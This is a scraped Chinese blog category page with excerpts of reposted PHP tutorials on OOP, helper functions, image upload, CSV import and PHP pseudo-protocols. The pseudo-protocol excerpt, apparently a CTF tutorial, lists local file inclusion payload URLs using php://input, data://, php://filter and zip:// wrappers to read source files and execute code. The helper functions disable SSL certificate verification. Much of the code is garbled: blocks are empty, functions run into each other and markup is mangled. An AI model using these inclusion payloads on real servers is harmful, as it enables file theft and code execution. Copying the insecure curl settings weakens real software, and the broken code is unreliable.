首页
关于网站
Search
1
动漫中最悲惨的5位美女,被羞辱的体无完肤,网友:放开她们!
7,326 阅读
2
系列番号排名(十部顶级神番推荐)
6,929 阅读
3
盘点:5部B站“又黄又暴力”的动画!网友:深夜全看最刺激?
5,480 阅读
4
v2ray一键安装脚本
3,871 阅读
5
火影忍者:纲手被揩油合集,总共6次你能忍么?
3,805 阅读
网站SEO
外贸建站
Google Ads
PHP编程
前端技术
ThinkCore
人生随感
网络资源
Python编程
基础
中级
实战案例
外贸平台
亚马逊
Facebook
Linkedin
软件开发
登录
Search
标签搜索
排名
今日
排行
动漫
的
价格
查询
了解
排行榜
大学
品牌
怎么
中国
十大
动画
星座
前
最
记录
多少
Jacky Chen
累计撰写
2,675
篇文章
累计收到
9
条评论
首页
栏目
网站SEO
外贸建站
Google Ads
PHP编程
前端技术
ThinkCore
人生随感
网络资源
Python编程
基础
中级
实战案例
外贸平台
亚马逊
Facebook
Linkedin
软件开发
页面
关于网站
搜索到
6
篇与
编程语言
的结果
2022-09-19
PHP面向对象之封装,继承与多态详解
PHP面向对象之封装,继承与多态详解 更新时间:2022年05月24日 15:01:31 作者:dawn 面向对象的三大特点是封装、继承、多态。本文将通过示例详细讲讲这三者的使用,文中示例代码讲解详细,需要的可以参考一下 在普通的编程中,没有涉及架构或者良好的设计,绝大多数都是使用的面向过程的方式。 当编程逐步深入后,就需要合理使用面向对象的知识来设计程序,而不是简单地脑海里有了思路就去写代码来实现,这是比较低级的做法。 面向对象的三大特点:封装、继承、多态。 封装、继承比较好理解,通过一个例子就能看明白: <pre class="brush:php;"></pre> 静态变量的理解,以前我们做C/S开发的时候,拖放控件到设计界面的时候总是能看到控件名字后面的数字是自动累加的,这个就是静态变量在起作用。 通俗的理解多态就是同样的方法名和参数名实现不同的功能。 在PHP中通过一个例子就好理解了。 1、通过接口演示 <pre class="brush:php;"></pre> 2、通过(抽象)类演示 echo "编辑Excel的保存"; }}class WordObj extends EditObj{public function SaveAs(){ echo "编辑Word的保存"; }}class PptObj extends EditObj{public function SaveAs(){ echo "编辑Ppt的保存"; }}class app{public static function EndEdit($obj){ $obj->SaveAs(); }}app::EndEdit(new ExcelObj());echo "";app::EndEdit(new WordObj());echo "";app::EndEdit(new PptObj());echo "";class TxtObj{public function SaveAs(){ echo "编辑Txt的保存"; } }app::EndEdit(new TxtObj());?></pre></p> 可以看到,最后的因为有方法,也得到了正确的执行。 我们可以加类型限制: <pre class="brush:php;">class app{public static function EndEdit(EditObj $obj){ $obj->SaveAs(); }}</pre> 这样的话,最后的app::(new ());就会报错了。 还可以加类型判断: <pre class="brush:php;">class app{public static function EndEdit($obj){ if($obj instanceof EditObj){ $obj->SaveAs(); }else{ echo "输入的类型错误,不能执行!"; } }}</pre> 这样事先的错误截断对用户就会好一些。 对于上面的接口也一样可以这样来做,代码也一样。 到此这篇关于PHP面向对象之封装,继承与多态详解的文章就介绍到这了,更多相关PHP封装 继承 多态内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!
2022年09月19日
123 阅读
0 评论
0 点赞
2022-09-18
PHP常见方法封装总结
PHP常见方法封装总结 更新时间:2022年05月26日 09:50:03 作者:PHP开源社区 这篇文章主要为大家介绍了PHP中常见的几个方法封装,文中的示例代码讲讲详细,对我们学习或工作有一定的参考价值,感兴趣的可以了解一下 目录 1.get请求 <pre class="brush:a href='https://www.inncms.com/244.html' title='PHP实现常见排序算法的示例代码' target='_blank'php/a;">function get_curl($url, $timeout = 5) {$ch = curl_init(); curl_setopt($ch,CURLOPT_URL,$url); curl_setopt($ch,CURLOPT_RETURNTRANSFER,true ); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); $result = curl_exec( $ch ); curl_close($ch); return $result; re> 2.post请求 <pre class="brush:php;">function post_curl($url, $data, $timeout = 5) {$ch = curl_init(); curl_setopt($ch,CURLOPT_URL,$url); curl_setopt($ch,CURLOPT_RETURNTRANSFER,true ); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch,CURLOPT_POSTFIELDS,$data); $result = curl_exec( $ch ); curl_close($ch); return $result; re> 3.随机字符串 <pre class="brush:php;">function random_str($len=10, $type=1){switch($type){ case 2: $chars='0123456789'; break; case 3: $chars='abcdefghijklmnopqrstuvwxyz'; break; case 4: $chars='ABDEFGHIJKLMNOPQRSTUVWXYZ'; break; case 5: $chars='abcdefghijklmnopqrstuvwxyzABDEFGHIJKLMNOPQRSTUVWXYZ'; break; case 6: $chars='abcdefghijklmnopqrstuvwxyz0123456789'; break; default: $chars='abcdefghijklmnopqrstuvwxyzABDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; break; } $str = ''; for ( $i = 0; $i $v){ $data[$key] = $this->check_data($v); } }else{ $data = trim($data); $data = strip_tags($data); $data = htmlspecialchars($data); $data = addslashes($data); } return $data; re> 6.重定向 <pre class="brush:php;">function redirect($url = 'https://blog.csdn.net/weixin_41635750'){if (!headers_sent()) { header("Location: {$url}"); exit(); }else{ $str = ""; exit($str); } re> 7.获取客户端ip <pre class="brush:php;">function get_real_ip() {if(@$_SERVER["HTTP_ALI_CDN_REAL_IP"]){ $ip = $_SERVER["HTTP_ALI_CDN_REAL_IP"]; } elseif (@$_SERVER["HTTP_X_FORWARDED_FOR"] ?: false) { $ip = $_SERVER["HTTP_X_FORWARDED_FOR"]; $ips = explode(',', $ip); $ip = $ips[0]; } elseif (@$_SERVER["HTTP_CDN_SRC_IP"] ?: false) { $ip = $_SERVER["HTTP_CDN_SRC_IP"]; } elseif (getenv('HTTP_CLIENT_IP')) { $ip = getenv('HTTP_CLIENT_IP'); } elseif (getenv('HTTP_X_FORWARDED')) { $ip = getenv('HTTP_X_FORWARDED'); } elseif (getenv('HTTP_FORWARDED_FOR')) { $ip = getenv('HTTP_FORWARDED_FOR'); } elseif (getenv('HTTP_FORWARDED')) { $ip = getenv('HTTP_FORWARDED'); } else { $ip = $_SERVER['REMOTE_ADDR']; } $ip = str_replace(array('::ffff:', '[', ']'), array('', '', ''), $ip); return $ip; re> 到此这篇关于PHP常见方法封装总结的文章就介绍到这了,更多相关PHP方法封装内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!
2022年09月18日
124 阅读
0 评论
0 点赞
2022-09-15
PHP实现多张图片上传功能的示例代码
PHP实现多张图片上传功能的示例代码 更新时间:2022年06月10日 10:20:16 作者:PHP开源社区 这篇文章主要给大家介绍了关于如何利用PHP实现多张上传图片功能的,文中通过示例代码介绍的非常详细,对大家的学习PHP具有一定的帮助,需要的可以参考一下 首先要知道这个函数 (); 接下来是我们的input框,和我们的html页面 这里我们是增加的input框我们也可以写写一个属性 ="" 这样就可以ctrl多选图片了 <pre class="brush:xhtml;">多个文件上传表单form{ margin: 20px; padding: 10px; } #picInput>input{ display: block; margin: 10px; } 上传图片: function addPic1(){ var addBtn = document.getElementById('addBtn'); var input = document.createElement("input"); input.type = 'file'; input.name = 'myfile[]'; var picInut = document.getElementById('picInput'); picInut.appendChild(input); if(picInut.children.length == 3){ addBtn.disabled = 'disabled'; } } </pre> PHP向后台插入图片方法和之前不一样了。<p><pre class="brush:php;">
2022年09月15日
101 阅读
0 评论
0 点赞
2022-09-15
php伪协议实现命令执行详情
php伪协议实现命令执行详情 更新时间:2022年06月10日 16:03:57 作者: 这篇文章主要介绍了php伪协议实现命令执行详情,文章围绕主题展开详细的内容介绍,感兴趣的朋友可以参考一下 目录 1.file://协议 条件: <pre class="brush:php;">allow_url_fopen : off/onallow_url_include: off/on</pre> 作用: 用于访问本地文件系统,在ctf中通常用来读取本地文件 在() / () / () / () 参数可控的情况下,即使导入非.php文件,如shell.txt,依然按照php语法进行解析,这是()函数所决定的 说明: file:// 文件系统是php使用的默认封装协议,用于展示本地文件系统。 用法: <pre class="brush:php;">/path/to/file.extrelative/path/to/file.extfileInCwd.extC:/path/to/winfile.extC:pathtowinfile.ext\smbserversharepathtowinfile.extfile:///path/to/file.ext</pre> 示例: 1.file://[文件的绝对路径和文件名] <pre class="brush:php;">http://127.0.0.1/include.php?file=file://E:phpStudyPHPTutorialWWWphpinfo.txt</pre> 2.file://[文件的相对路径和文件名] <pre class="brush:php;">http://127.0.0.1/include.php?file=./phpinfo.txt</pre> 3.网络位置和文件名 <pre class="brush:php;">http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt</pre> 2.php://协议 条件: <pre class="brush:php;">allow_url_open : off/onallow_url_include: 仅 php://input php://stdin php://memory php://temp 需要on</pre> 作用: php:// 访问各个输入/输出流 (I/O ), 在ctf中经常使用的是 php:// 和 php://input <pre class="brush:php;">php://filter 用于读取源码php://input 用于执行php代码</pre> 说明: php提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流,标准输入输出流和错误描述符: php://使用: <pre class="brush:php;">php://filter/read=convert.base64-encode/resource=[文件名]</pre> php://input的使用: <pre class="brush:php;">http://127.0.0.1/include.php?file=php://input</pre> <pre class="brush:php;"> [POST DATA部分]</pre> 写入一句话 3.data://协议 作用: php>=5.2.0 , 可以使用data://数据流封装器,以传递相应格式的数据。通常用来执行php代码 用法: <pre class="brush:php;">data://text/plain, ???</pre> 如: <pre class="brush:php;">http://127.0.0.1/include.php?file=data://text/plain,</pre> 4.zip:// & bzip:// & zlib:// 协议 作用: zip:// & bzip:// & zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可以修改为任意后缀名,如 jpg,png,gif,xxx等 示例: 1.zip://[压缩文件绝对路径]%23压缩文件内的子文件文件名 压缩 .txt 为.zip ,压缩包重命名为 .jpg ,并上传 <pre class="brush:php;">http://127.0.0.1/include.php?file=zip://E:phpStudyPHPTutorialWWWphpinfo.jpg%23phpinfo.txt</pre> press.bzip2://file.bz2 压缩.txt 为.bz2 并上传(同样支持任意后缀名) <pre class="brush:php;">http://127.0.0.1/include.php?file=compress.bzip2://E:phpStudyPHPTutorialWWWphpinfo.bz2</pre> press.zlib://file.gz 压缩.txt 为.gz 并上传(支持任意后缀名) <pre class="brush:php;">http://127.0.0.1/include.php?file=compress.zlib://E:phpStudyPHPTutorialWWWphpinfo.gz</pre> 总结 在ctf中常用的有data:// , php://input , php:// ,file:// <pre class="brush:php;">php://input ,data://用来执行命令1.php://input 的用法http://127.0.0.1/include.php?file=php://input[POST DATA部分]2.data://用法http://127.0.0.1/include.php?file=data://text/plain,php://filter,file://用来读取文件3.php://filter用法http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php(读取php文件需要先加密以下才能读出来)http://127.0.0.1/include.php?file=php://filter/resource=/flag4.file://用法http://127.0.0.1/include.php?file=file://E:phpStudyPHPTutorialWWWphpinfo.txt</pre> 到此这篇关于php伪协议实现命令执行详情的文章就介绍到这了,更多相关php命令执行内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!
2022年09月15日
127 阅读
0 评论
0 点赞
2022-09-06
PHP实现导入大量CSV数据的示例代码
PHP实现导入大量CSV数据的示例代码 更新时间:2022年07月07日 10:56:37 作者:PHP开源社区 这篇文章主要为大家详细介绍了PHP如何实现导入大量CSV数据功能,文中的示例代码讲解详细,对我们学习PHP有一定帮助,需要的可以参考一下 目录 前言 网上有很多介绍大量上传数据的,感觉都是一个抄一个,这是自己写的处理方式,在一些项目中已经应用. 主要利用 yield 完成文件读取,这个重点看会了,其他基本就很简单. 代码部分一. 写法 <pre class="brush:a href='https://www.inncms.com/223.html' title='PHP实现图片加水印功能' target='_blank'php/a;">//获取请求的参数$arrayParams = Request::all();$objCsvFile = $arrayParams'[csv_file'];$strRealPath = $objCsvFile->getRealPath();//tmp路径, 这里可以先保存到自己预定路径,再进行读取//重点在这一步//$glob = CommonUtilFunction::readPathCsvFile($strRealPath);//**//$intRowNum = 0;while($glob->valid()) {$arrayNewLineData = []; $intRowNum++; if (1 === $intRowNum) { //第一行跳过,一般是标题 $glob->next(); continue; } $arrayLineData = $glob->current(); //处理空字符串 空行 /** * 一般csv有两种行数据可以被认为是空行 * 第一种 ',,,,,,,,,,,,,,,,,,,,,,,,,,',类似这种纯逗号没有任何数据 * 第二种 ' ',是真的空行,什么也没有 * 处理完成返回一个统一的数组 [] */ $arrayLineData = CommonUtilFunction::dealCsvLineData($arrayLineData); //跳过空行 if (true === empty($arrayLineData)) { $glob->next(); continue; } //自己的代码逻辑 ... // 避免意外错误 unset($arrayNewLineData); $glob->next(); // 处理下一行数据 re> 二. yield 读取数据以及处理空行方法 <pre class="brush:php;">/**@description 迭代器读取csv文件@param $strCsvPath@return Generator */public static function readPathCsvFile($strCsvPath) {if ($handle = fopen($strCsvPath, 'r')) { while (!feof($handle)) { yield fgetcsv($handle); } fclose($handle); }}/**@description 处理c单行信息@param $arrData@return Generator */public static function dealCsvLineData($arrData = []){$arrAfterData = []; if (false === empty($arrData)) { //去除每个字符串 前后空格 foreach ($arrData as &$colData) { //检测对应编码格式 csv文件格式Shift-JIS $strEncodeType = mb_detect_encoding($colData, ['UTF-8', 'Shift-JIS']); //如果认为utf-8格式不用转码, shift-jis格式需要转为utf8格式 if ('SJIS' === $strEncodeType) { //jis=>utf8 $colData = mb_convert_encoding($colData, 'UTF-8', 'Shift-JIS'); } $colData = trim($colData); } //去除空行 $isEmptyRow = true; foreach ($arrData as $item) { if ('' !== $item) { $isEmptyRow = false; break; } } if (false === $isEmptyRow) { $arrAfterData = $arrData; } } return $arrAfterData; /pre> 结论 使用 yield 可以很大程度上减低服务器开销,压力在数据库方面。上限没有测试过,不过 1 万条数据是很轻松. 知识点补充 yield是php5.6版本才有的函数,作用是实现生成器,作用的在读取文件的时候,可以一行一行的读取 简单的说可以理解为 php版本的非缓冲查询,意思即是 把数据一行行 读取到php运行内存,并非一次性读取到php运行内存,众所周知,php有很多内置函数,可以帮助我们对数据进行加工操作,因为数据都在内存里面,所以能操作,但是php的运行内存是有极限,默认128M。 以下附上php 实现 yield 链接 mysql 几种方法: 方法一 <pre class="brush:php;"></pre> 方法二 <pre class="brush:php;"></pre> 方法三<p><pre class="brush:php;">
2022年09月06日
104 阅读
0 评论
0 点赞
1
2